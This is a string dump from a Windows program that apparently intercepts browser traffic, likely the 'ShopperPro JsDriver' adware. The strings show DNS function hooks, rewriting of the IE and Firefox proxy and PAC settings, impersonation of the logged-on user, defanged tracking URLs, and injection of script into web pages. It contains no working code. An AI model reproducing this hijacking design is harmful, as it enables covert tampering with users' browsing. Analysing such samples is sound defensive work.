[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open Config.json

Config.json

ProxyExtensionInj: can't open database1_0_0.ej

database1_0_0.ej

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

